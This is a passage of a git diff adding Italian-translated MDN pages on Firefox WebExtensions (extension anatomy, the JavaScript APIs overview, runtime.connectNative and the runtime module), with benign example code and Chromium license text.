+<p>On Linux and Mac OS X, <code>source bin/activate</code> uses the <code>activate</code> bash script, and you can make activation permanent using your <code>~/.bashrc</code> (on Linux) or <code>~/.bashprofile</code> (on Mac OS X).</p>
+<p>As an alternative to this, you can create a symbolic link to the <code>cfx</code> program in your <code>~/bin</code> directory:</p>
+<pre>ln -s PATH_TO_SDK/bin/cfx ~/bin/cfx
+</pre>
+<p>If you used Homebrew to install the SDK, the environment variables are already set permanently for you.</p>
+<h2 id="Sanity_check">Sanity check</h2>
+<p>Run this at your shell prompt:</p>
+<pre>cfx
+</pre>
+<p>It should produce output whose first line looks something like this, followed by many lines of usage information:</p>
+<pre>Usage: cfx [options] [command]
+</pre>
+<p>This is the <a href="/en-US/Add-ons/SDK/Tools/cfx"><code>cfx</code> command-line program</a>. It's your primary interface to the Add-on SDK. You use it to launch Firefox and test your add-on, package your add-on for distribution, view documentation, and run unit tests.</p>
+<h2 id="Ci_sono_problemi">Ci sono problemi?</h2>
+<p>Prova la pagina per <a href="/en-US/Add-ons/SDK/Tutorials/Troubleshooting">Risoluzione dei problemi</a>.</p>
+<h2 id="Prossimo_passo">Prossimo passo</h2>
+<p><span lang="it"><span class="hps">Quindi,</span> <span class="hps">guardate la</span> <a href="/en-US/Add-ons/SDK/Tutorials/Getting_Started_With_cfx"><span class="hps">Guida introduttiva di</span> <span class="hps">CFX</span></a>, <span class="hps">che spiega</span> <span class="hps">come creare</span> <span class="hps">add-on</span> <span class="hps">utilizzando lo strumento</span> <code><span class="hps">CFX</span></code><span>.</span></span></p>
diff --git a/files/it/mozilla/add-ons/webextensions/anatomy_of_a_webextension/index.html b/files/it/mozilla/add-ons/webextensions/anatomy_of_a_webextension/index.html
new file mode 100644
index 0000000000..56e7917140
--- /dev/null
+++ b/files/it/mozilla/add-ons/webextensions/anatomy_of_a_webextension/index.html
@@ -0,0 +1,146 @@
+---
+title: Anatomy of an extension
+slug: Mozilla/Add-ons/WebExtensions/Anatomy_of_a_WebExtension
+tags:
+  - WebExtensions
+translation_of: Mozilla/Add-ons/WebExtensions/Anatomy_of_a_WebExtension
+---
+<div>{{AddonSidebar}}</div>
+
+<p><span class="tlid-translation translation" lang="it"><span title="">Un'estensione consiste in una raccolta di file, confezionati per la distribuzione e l'installazione.</span> <span title="">In questo articolo, esamineremo rapidamente i file che potrebbero essere presenti in un'estensione.</span></span></p>
+
+<h2 id="manifest.json">manifest.json</h2>
+
+<p><span class="tlid-translation translation" lang="it"><span title="">Questo è l'unico file che deve essere necessariamente presente in ogni estensione.</span> <span title="">Contiene metadati di base come il nome, la versione e le autorizzazioni richieste.</span> <span title="">Fornisce anche puntatori ad altri file nell'estensione.</span></span></p>
+
+<p>Il file <span class="tlid-translation translation" lang="it"><span title="">manifest può anche contenere puntatori a diversi altri tipi di file:</span></span></p>
+
+<ul>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Anatomy_of_a_WebExtension#Background_scripts">Background scripts</a>: <span class="tlid-translation translation" lang="it"><span title="">Implementare una logica a lungo termine</span></span> .</li>
+ <li><span class="tlid-translation translation" lang="it"><span title="">Icone per l'estensione e per qualsiasi pulsante</span></span>.</li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Anatomy_of_a_WebExtension#Sidebars_popups_options_pages">Sidebars, popups, and options pages</a>: documenti HTML che forniscono contenuti per vari componenti dell'interfaccia utente.</li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Anatomy_of_a_WebExtension#Content_scripts">Content scripts</a>: JavaScript incluso nell'estensione, che verrà iniettato nelle pagine web.</li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Anatomy_of_a_WebExtension#Web_accessible_resources">Web-accessible resources</a>: <span class="tlid-translation translation" lang="it"><span title="">Rende i contenuti pacchettizzati accessibili a pagine Web e script di contenuto.</span></span></li>
+</ul>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13669/webextension-anatomy.png" style="display: block; height: 581px; margin-left: auto; margin-right: auto; width: 600px;"></p>
+
+<p>Vedere la pagina di riferimento <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json">manifest.json</a> per maggiori dettagli.</p>
+
+<p><span class="tlid-translation translation" lang="it"><span title="">Oltre a quelli a cui fa riferimento il manifest, un'estensione può includere</span></span> <a dir="ltr" href="https://mdn.mozillademos.org/files/11553/browser-action.png">Extension pages</a> <span class="tlid-translation translation" lang="it"><span title="">aggiuntive con file di supporto</span></span>.</p>
+
+<h2 id="Script_di_Background">Script di Background</h2>
+
+<p>Extensions often need to maintain long-term state or perform long-term operations independently of the lifetime of any particular web page or browser window. That is what background scripts are for.</p>
+
+<p>Background scripts are loaded as soon as the extension is loaded and stay loaded until the extension is disabled or uninstalled. You can use any of the <a href="/en-US/Add-ons/WebExtensions/API">WebExtension APIs</a> in the script, as long as you have requested the necessary <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions">permissions</a>.</p>
+
+<h3 id="Specifying_background_scripts">Specifying background scripts</h3>
+
+<p>You can include a background script using the <code>background</code> key in "manifest.json":</p>
+
+<pre class="brush: json">// manifest.json
+
+"background": {
+  "scripts": ["background-script.js"]
+}</pre>
+
+<p>You can specify multiple background scripts: if you do, they run in the same context, just like multiple scripts that are loaded into a single web page.</p>
+
+<p>Instead of specifying background scripts, you can specify a background page which has the added advantage of supporting ES6 modules:</p>
+
+<p style="margin-bottom: 0em;"><strong>manifest.json</strong></p>
+
+<pre class="brush: json">// manifest.json
+
+"background": {
+  "page": "background-page.html"
+}</pre>
+
+<p style="margin-bottom: 0em;"><strong>background-page.html</strong></p>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+  &lt;head&gt;
+    &lt;meta charset="utf-8"&gt;
+    &lt;script type="module" src="background-script.js"&gt;&lt;/script&gt;
+  &lt;/head&gt;
+&lt;/html&gt;</pre>
+
+<h3 id="Background_script_environment">Background script environment</h3>
+
+<h4 id="DOM_APIs">DOM APIs</h4>
+
+<p>Background scripts run in the context of a special page called a background page. This gives them a <code><a href="/en-US/docs/Web/API/Window">window</a></code> global, along with all the standard DOM APIs provided by that object.</p>
+
+<h4 id="WebExtension_APIs">WebExtension APIs</h4>
+
+<p>Background scripts can use any of the <a href="/en-US/Add-ons/WebExtensions/API">WebExtension APIs</a> in the script, as long as their extension has the necessary <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions">permissions</a>.</p>
+
+<h4 id="Cross-origin_access">Cross-origin access</h4>
+
+<p>Background scripts can make XHR requests to any hosts for which they have <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions">host permissions</a>.</p>
+
+<h4 id="Web_content">Web content</h4>
+
+<p>Background scripts do not get direct access to web pages. However, they can load <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts">content scripts</a> into web pages and can <a href="/en-US/Add-ons/WebExtensions/Content_scripts#Communicating_with_background_scripts">communicate with these content scripts using a message-passing API</a>.</p>
+
+<h4 id="Content_security_policy">Content security policy</h4>
+
+<p>Background scripts are restricted from certain potentially dangerous operations, like the use of <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval">eval()</a></code>, through a Content Security Policy. See <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_Security_Policy">Content Security Policy</a> for more details on this.</p>
+
+<h2 id="Sidebars_popups_options_pages">Sidebars, popups, options pages</h2>
+
+<p>Your extension can include various user interface components whose content is defined using an HTML document:</p>
+
+<ul>
+ <li>a <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Sidebars">sidebar</a> is a pane that is displayed at the left-hand side of the browser window, next to the web page</li>
+ <li>a <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Popups">popup</a> is a dialog that you can display when the user clicks on a <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Browser_action">toolbar button</a> or <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Page_actions">address bar button</a></li>
+ <li>an <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Options_pages">options page</a> is a page that's shown when the user accesses your add-on's preferences in the browser's native add-ons manager.</li>
+</ul>
+
+<p>For each of these components, you create an HTML file and point to it using a specific property in <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json">manifest.json</a>. The HTML file can include CSS and JavaScript files, just like a normal web page.</p>
+
+<p>All of these are a type of <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Extension_pages">Extension pages</a>, and unlike a normal web page, your JavaScript can use all the same privileged WebExtension APIs as your background script. They can even directly access variables in the background page using {{WebExtAPIRef("runtime.getBackgroundPage()")}}.</p>
+
+<h2 id="Extension_pages">Extension pages</h2>
+
+<p>You can also include HTML documents in your extension which are not attached to some predefined user interface component. Unlike the documents you might provide for sidebars, popups, or options pages, these don't have an entry in manifest.json. However, they do also get access to all the same privileged WebExtension APIs as your background script.</p>
+
+<p>You'd typically load a page like this using {{WebExtAPIRef("windows.create()")}} or {{WebExtAPIRef("tabs.create()")}}.</p>
+
+<p>See <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Extension_pages">Extension pages</a> to learn more.</p>
+
+<h2 id="Script_di_contenuto">Script di contenuto</h2>
+
+<p>Use content scripts to access and manipulate web pages. Content scripts are loaded into web pages and run in the context of that particular page.</p>
+
+<p>Content scripts are extension-provided scripts which run in the context of a web page; this differs from scripts which are loaded by the page itself, including those which are provided in {{HTMLElement("script")}} elements within the page.</p>
+
+<p>Content scripts can see and manipulate the page's DOM, just like normal scripts loaded by the page.</p>
+
+<p>Unlike normal page scripts, they can:</p>
+
+<ul>
+ <li>Make cross-domain XHR requests.</li>
+ <li>Use a small subset of the <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API">WebExtension APIs</a>.</li>
+ <li>Exchange messages with their background scripts and can in this way indirectly access all the WebExtension APIs.</li>
+</ul>
+
+<p>Content scripts cannot directly access normal page scripts but can exchange messages with them using the standard <code><a href="/en-US/docs/Web/API/Window/postMessage">window.postMessage()</a></code> API.</p>
+
+<p>Usually, when we talk about content scripts, we are referring to JavaScript, but you can inject CSS into web pages using the same mechanism.</p>
+
+<p>See the <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts">content scripts</a> article to learn more.</p>
+
+<h2 id="Web_accessible_resources">Web accessible resources</h2>
+
+<p>Web accessible resources are resources such as images, HTML, CSS, and JavaScript that you include in the extension and want to make accessible to content scripts and page scripts. Resources which are made web-accessible can be referenced by page scripts and content scripts using a special URI scheme.</p>
+
+<p>For example, if a content script wants to insert some images into web pages, you could include them in the extension and make them web accessible. Then the content script could create and append <code><a href="/en-US/docs/Web/HTML/Element/img">img</a></code> tags which reference the images via the <code>src</code> attribute.</p>
+
+<p>To learn more, see the documentation for the <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/web_accessible_resources">web_accessible_resources</a> manifest.json key.</p>
+
+<p> </p>
+
+<p> </p>
diff --git a/files/it/mozilla/add-ons/webextensions/api/index.html b/files/it/mozilla/add-ons/webextensions/api/index.html
new file mode 100644
index 0000000000..955086de10
--- /dev/null
+++ b/files/it/mozilla/add-ons/webextensions/api/index.html
@@ -0,0 +1,53 @@
+---
+title: JavaScript APIs
+slug: Mozilla/Add-ons/WebExtensions/API
+tags:
+  - NeedsTranslation
+  - TopicStub
+  - WebExtensions
+translation_of: Mozilla/Add-ons/WebExtensions/API
+---
+<div>{{AddonSidebar}}</div>
+
+<div>
+<p>JavaScript APIs for WebExtensions can be used inside the extension's <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Anatomy_of_a_WebExtension#Background_scripts">background scripts</a> and in any other documents bundled with the extension, including <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Browser_action">browser action</a> or <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Page_actions">page action</a> popups, <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Sidebars">sidebars</a>, <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Options_pages">options pages</a>, or <a href="/en-US/Add-ons/WebExtensions/manifest.json/chrome_url_overrides">new tab pages</a>. A few of these APIs can also be accessed by an extension's <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Anatomy_of_a_WebExtension#Content_scripts">content scripts</a> (see the <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Content_scripts#WebExtension_APIs">list in the content script guide</a>).</p>
+
+<p>To use the more powerful APIs you need to <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/permissions">request permission</a> in your extension's manifest.json.</p>
+
+<p>You can access the APIs using the <code>browser</code> namespace:</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">function</span> <span class="function token">logTabs</span><span class="punctuation token">(</span>tabs<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>tabs<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+browser<span class="punctuation token">.</span>tabs<span class="punctuation token">.</span><span class="function token">query</span><span class="punctuation token">(</span><span class="punctuation token">{</span>currentWindow<span class="punctuation token">:</span> <span class="keyword token">true</span><span class="punctuation token">}</span><span class="punctuation token">,</span> logTabs<span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+</div>
+
+<div>
+<p>Many of the APIs are asynchronous, returning a <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promise</a></code>:</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">function</span> <span class="function token">logCookie</span><span class="punctuation token">(</span>c<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>c<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="keyword token">function</span> <span class="function token">logError</span><span class="punctuation token">(</span>e<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  console<span class="punctuation token">.</span><span class="function token">error</span><span class="punctuation token">(</span>e<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="keyword token">var</span> setCookie <span class="operator token">=</span> browser<span class="punctuation token">.</span>cookies<span class="punctuation token">.</span><span class="keyword token">set</span><span class="punctuation token">(</span>
+  <span class="punctuation token">{</span>url<span class="punctuation token">:</span> <span class="string token">"https://developer.mozilla.org/"</span><span class="punctuation token">}</span>
+<span class="punctuation token">)</span><span class="punctuation token">;</span>
+setCookie<span class="punctuation token">.</span><span class="function token">then</span><span class="punctuation token">(</span>logCookie<span class="punctuation token">,</span> logError<span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+</div>
+
+<div>
+<p>Note that this is different from Google Chrome's extension system, which uses the <code>chrome</code> namespace instead of <code>browser</code>, and which uses callbacks instead of promises for asynchronous functions. As a porting aid, the Firefox implementation of WebExtensions APIs supports <code>chrome</code> and callbacks as well as <code>browser</code> and promises. Mozilla has also written a polyfill which enables code that uses <code>browser</code> and promises to work unchanged in Chrome: <a class="external external-icon" href="https://github.com/mozilla/webextension-polyfill">https://github.com/mozilla/webextension-polyfill</a>.</p>
+
+<p>Firefox also implements these APIs under the <code>chrome</code> namespace using callbacks. This allows code written for Chrome to run largely unchanged in Firefox for the APIs documented here.</p>
+
+<p>Microsoft Edge uses the <code>browser</code> namespace, but doesn't yet support promise-based asynchronous APIs. In Edge, for the time being, asynchronous APIs must use callbacks.</p>
+
+<p>Not all browsers support all the APIs: for the details, see <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Browser_support_for_JavaScript_APIs">Browser support for JavaScript APIs</a>.</p>
+</div>
+
+<div>{{SubpagesWithSummaries}}</div>
diff --git a/files/it/mozilla/add-ons/webextensions/api/runtime/connectnative/index.html b/files/it/mozilla/add-ons/webextensions/api/runtime/connectnative/index.html
new file mode 100644
index 0000000000..7f52576e62
--- /dev/null
+++ b/files/it/mozilla/add-ons/webextensions/api/runtime/connectnative/index.html
@@ -0,0 +1,122 @@
+---
+title: runtime.connectNative()
+slug: Mozilla/Add-ons/WebExtensions/API/runtime/connectNative
+tags:
+  - API
+  - Add-ons
+  - Estensioni
+  - Estensioni Web
+  - Non-standard
+  - Riferimenti
+  - connectNative
+  - metodo
+  - runtime
+translation_of: Mozilla/Add-ons/WebExtensions/API/runtime/connectNative
+---
+<div>{{AddonSidebar()}}</div>
+
+<div>Connette l'estensione ad un'applicazione nativa presente sul computer dell'utente.</div>
+
+<div> </div>
+
+<div>Utilizza il nome di un'applicazione nativa come parametro.</div>
+
+<div>Avvia l'applicazione nativa e restituisce un oggetto {{WebExtAPIRef("runtime.Port")}} alla funzione invocante.</div>
+
+<div> </div>
+
+<div>La funzione invocante può usare la <code>Port</code> per scambiare messaggi con l'applicazione nativa utilizzando <code>Port.postMessage()</code> e <code>port.onMessage</code>.</div>
+
+<div> </div>
+
+<div>L'applicazione nativa rimane attiva a meno che non termini autonomamente, sia invocata la funzione <code>Port.disconnect()</code>, o la pagina che ha generato la <code>Port</code> venga distrutta. Un volta disconnessa la <code>Port</code> il browser rimane in attesa qualche secondo finchè il processo non termina correttamente ed in definitiva lo chiude se non fosse ancora terminato.</div>
+
+<div>Per maggiori informazioni, vedere <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Native_messaging">Native messaging</a>.</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox brush:js">var port = browser.runtime.connectNative(
+  application // string
+)
+</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>application</code></dt>
+ <dd><code>string</code>. Il nome dell'applicazione nativa alla quale collegarsi. Questo deve combaciare con la proprietà "name" nel <a href="/en-US/Add-ons/WebExtensions/Native_messaging#App_manifest">native application's manifest file</a>.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>Un oggetto {{WebExtAPIRef('runtime.Port')}}. La porta che la funzione invocante può usare per scambiare messaggi con l'applicazione nativa.</p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">La tabella di compatibilità in questa pagina è basata sui dati disponibili. Se desiderassi contribuire a questi dati, scarica il codice da <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ed inviaci una richiesta di allineamento.</p>
+
+<p>{{Compat("webextensions.api.runtime.connectNative")}}</p>
+
+<h2 id="Examples">Examples</h2>
+
+<p>L'esempio crea una connessione con l'applicazione nativa "ping_pong" e rimane in ascolto per i messaggi in entrata. Invia inoltre, all'applicazione nativa, un messaggio nel momento in cui l'utente clicca su un'icona specifica del browser:</p>
+
+<pre class="brush: js">/*
+On startup, connect to the "ping_pong" app.
+*/
+var port = <code class="language-js">browser</code>.runtime.connectNative("ping_pong");
+
+/*
+Listen for messages from the app.
+*/
+port.onMessage.addListener((response) =&gt; {
+  console.log("Received: " + response);
+});
+
+/*
+On a click on the browser action, send the app a message.
+*/
+<code class="language-js">browser</code>.browserAction.onClicked.addListener(() =&gt; {
+  console.log("Sending:  ping");
+  port.postMessage("ping");
+});</pre>
+
+<p>{{WebExtExamples}}</p>
+
+<div class="note"><strong>Fonti informative</strong>
+
+<p>Questa API è basata sull'API Chromium <a href="https://developer.chrome.com/extensions/runtime#method-connectNative"><code>chrome.runtime</code></a>.  Questo documento deriva dal <a href="https://chromium.googlesource.com/chromium/src/+/master/extensions/common/api/runtime.json"><code>runtime.json</code></a> del codice di Chromium.</p>
+
+<p>La compatibilità con Microsoft Edge è fornita da Microsoft ed è qui inclusa su licenza Creative Commons Attribution 3.0 United States License.</p>
+</div>
+
+<div class="hidden">
+<pre>// Copyright 2015 The Chromium Authors. All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions are
+// met:
+//
+//    * Redistributions of source code must retain the above copyright
+// notice, this list of conditions and the following disclaimer.
+//    * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following disclaimer
+// in the documentation and/or other materials provided with the
+// distribution.
+//    * Neither the name of Google Inc. nor the names of its
+// contributors may be used to endorse or promote products derived from
+// this software without specific prior written permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+</pre>
+</div>
diff --git a/files/it/mozilla/add-ons/webextensions/api/runtime/index.html b/files/it/mozilla/add-ons/webextensions/api/runtime/index.html
new file mode 100644
index 0000000000..1768642e7a
--- /dev/null
+++ b/files/it/mozilla/add-ons/webextensions/api/runtime/index.html
@@ -0,0 +1,168 @@
+---
+title: runtime
+slug: Mozilla/Add-ons/WebExtensions/API/runtime
+tags:
+  - API
+  - Add-ons
+  - Extensions
+  - Interface
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+  - WebExtensions
+  - runtime
+translation_of: Mozilla/Add-ons/WebExtensions/API/runtime
+---
+<div>{{AddonSidebar}}</div>
+
+<p><span class="seoSummary">This module provides information about your extension and the environment it's running in.</span></p>
+
+<p>It also provides messaging APIs enabling you to:</p>
+
+<ul>
+ <li>Communicate between different parts of your extension.</li>
+ <li>Communicate with other extensions.</li>
+ <li>Communicate with native applications.</li>
+</ul>
+
+<h2 id="Types">Types</h2>
+
+<dl>
+ <dt>{{WebExtAPIRef("runtime.Port")}}</dt>
+ <dd>Represents one end of a connection between two specific contexts, which can be used to exchange messages.</dd>
+ <dt>{{WebExtAPIRef("runtime.MessageSender")}}</dt>
+ <dd>
+ <p>Contains information about the sender of a message or connection request.</p>
+ </dd>
+ <dt>{{WebExtAPIRef("runtime.PlatformOs")}}</dt>
+ <dd>Identifies the browser's operating system.</dd>
+ <dt>{{WebExtAPIRef("runtime.PlatformArch")}}</dt>
+ <dd>Identifies the browser's processor architecture.</dd>
+ <dt>{{WebExtAPIRef("runtime.PlatformInfo")}}</dt>
+ <dd>Contains information about the platform the browser is running on.</dd>
+ <dt>{{WebExtAPIRef("runtime.RequestUpdateCheckStatus")}}</dt>
+ <dd>Result of a call to {{WebExtAPIRef("runtime.requestUpdateCheck()")}}.</dd>
+ <dt>{{WebExtAPIRef("runtime.OnInstalledReason")}}</dt>
+ <dd>The reason that the {{WebExtAPIRef("runtime.onInstalled")}} event is being dispatched.</dd>
+ <dt>{{WebExtAPIRef("runtime.OnRestartRequiredReason")}}</dt>
+ <dd>The reason that the {{WebExtAPIRef("runtime.onRestartRequired")}} event is being dispatched.</dd>
+</dl>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt>{{WebExtAPIRef("runtime.lastError")}}</dt>
+ <dd>This value is set when an asynchronous function has an error condition that it needs to report to its caller.</dd>
+ <dt>{{WebExtAPIRef("runtime.id")}}</dt>
+ <dd>The ID of the extension.</dd>
+</dl>
+
+<h2 id="Functions">Functions</h2>
+
+<dl>
+ <dt>{{WebExtAPIRef("runtime.getBackgroundPage()")}}</dt>
+ <dd>Retrieves the <a href="/en-US/docs/Web/API/Window">Window</a> object for the background page running inside the current extension.</dd>
+ <dt>{{WebExtAPIRef("runtime.openOptionsPage()")}}</dt>
+ <dd>
+ <p>Opens your extension's <a href="/en-US/Add-ons/WebExtensions/user_interface/Options_pages">options page</a>.</p>
+ </dd>
+ <dt>{{WebExtAPIRef("runtime.getManifest()")}}</dt>
+ <dd>Gets the complete <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json">manifest.json</a> file, serialized as an object.</dd>
+ <dt>{{WebExtAPIRef("runtime.getURL()")}}</dt>
+ <dd>Given a relative path from the <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json">manifest.json</a> to a resource packaged with the extension, returns a fully-qualified URL.</dd>
+ <dt>{{WebExtAPIRef("runtime.setUninstallURL()")}}</dt>
+ <dd>Sets a URL to be visited when the extension is uninstalled.</dd>
+ <dt>{{WebExtAPIRef("runtime.reload()")}}</dt>
+ <dd>Reloads the extension.</dd>
+ <dt>{{WebExtAPIRef("runtime.requestUpdateCheck()")}}</dt>
+ <dd>Checks for updates to this extension.</dd>
+ <dt>{{WebExtAPIRef("runtime.connect()")}}</dt>
+ <dd>Establishes a connection from a content script to the main extension process, or from one extension to a different extension.</dd>
+ <dt>{{WebExtAPIRef("runtime.connectNative()")}}</dt>
+ <dd>
+ <div>Connects the extension to a native application on the user's computer.</div>
+ </dd>
+ <dt>{{WebExtAPIRef("runtime.sendMessage()")}}</dt>
+ <dd>Sends a single message to event listeners within your extension or a different extension. Similar to {{WebExtAPIRef('runtime.connect')}} but only sends a single message, with an optional response.</dd>
+ <dt>{{WebExtAPIRef("runtime.sendNativeMessage()")}}</dt>
+ <dd>Sends a single message from an extension to a native application.</dd>
+ <dt>{{WebExtAPIRef("runtime.getPlatformInfo()")}}</dt>
+ <dd>Returns information about the current platform.</dd>
+ <dt>{{WebExtAPIRef("runtime.getBrowserInfo()")}}</dt>
+ <dd>Returns information about the browser in which this extension is installed.</dd>
+ <dt>{{WebExtAPIRef("runtime.getPackageDirectoryEntry()")}}</dt>
+ <dd>Returns a DirectoryEntry for the package directory.</dd>
+</dl>
+
+<h2 id="Events">Events</h2>
+
+<dl>
+ <dt>{{WebExtAPIRef("runtime.onStartup")}}</dt>
+ <dd>Fired when a profile that has this extension installed first starts up. This event is not fired when an incognito profile is started.</dd>
+ <dt>{{WebExtAPIRef("runtime.onInstalled")}}</dt>
+ <dd>Fired when the extension is first installed, when the extension is updated to a new version, and when the browser is updated to a new version.</dd>
+ <dt>{{WebExtAPIRef("runtime.onSuspend")}}</dt>
+ <dd>Sent to the event page just before the extension is unloaded. This gives the extension an opportunity to do some cleanup.</dd>
+ <dt>{{WebExtAPIRef("runtime.onSuspendCanceled")}}</dt>
+ <dd>Sent after {{WebExtAPIRef("runtime.onSuspend")}} to indicate that the extension won't be unloaded after all.</dd>
+ <dt>{{WebExtAPIRef("runtime.onUpdateAvailable")}}</dt>
+ <dd>Fired when an update is available, but isn't installed immediately because the extension is currently running.</dd>
+ <dt>{{WebExtAPIRef("runtime.onBrowserUpdateAvailable")}} {{deprecated_inline}}</dt>
+ <dd>Fired when an update for the browser is available, but isn't installed immediately because a browser restart is required.</dd>
+ <dt>{{WebExtAPIRef("runtime.onConnect")}}</dt>
+ <dd>Fired when a connection is made with either an extension process or a content script.</dd>
+ <dt>{{WebExtAPIRef("runtime.onConnectExternal")}}</dt>
+ <dd>Fired when a connection is made with another extension.</dd>
+ <dt>{{WebExtAPIRef("runtime.onMessage")}}</dt>
+ <dd>Fired when a message is sent from either an extension process or a content script.</dd>
+ <dt>{{WebExtAPIRef("runtime.onMessageExternal")}}</dt>
+ <dd>Fired when a message is sent from another extension. Cannot be used in a content script.</dd>
+ <dt>{{WebExtAPIRef("runtime.onRestartRequired")}}</dt>
+ <dd>Fired when the device needs to be restarted.</dd>
+</dl>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("webextensions.api.runtime")}}</p>
+
+<div>{{WebExtExamples("h2")}}</div>
+
+<div class="note"><strong>Acknowledgements</strong>
+
+<p>This API is based on Chromium's <a href="https://developer.chrome.com/extensions/runtime"><code>chrome.runtime</code></a> API. This documentation is derived from <a href="https://chromium.googlesource.com/chromium/src/+/master/extensions/common/api/runtime.json"><code>runtime.json</code></a> in the Chromium code.</p>
+
+<p>Microsoft Edge compatibility data is supplied by Microsoft Corporation and is included here under the Creative Commons Attribution 3.0 United States License.</p>
+</div>
+
+<div class="hidden">
+<pre>// Copyright 2015 The Chromium Authors. All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions are
+// met:
+//
+//    * Redistributions of source code must retain the above copyright
+// notice, this list of conditions and the following disclaimer.
+//    * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following disclaimer
+// in the documentation and/or other materials provided with the
+// distribution.
+//    * Neither the name of Google Inc. nor the names of its
+// contributors may be used to endorse or promote products derived from
+// this software without specific prior written permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
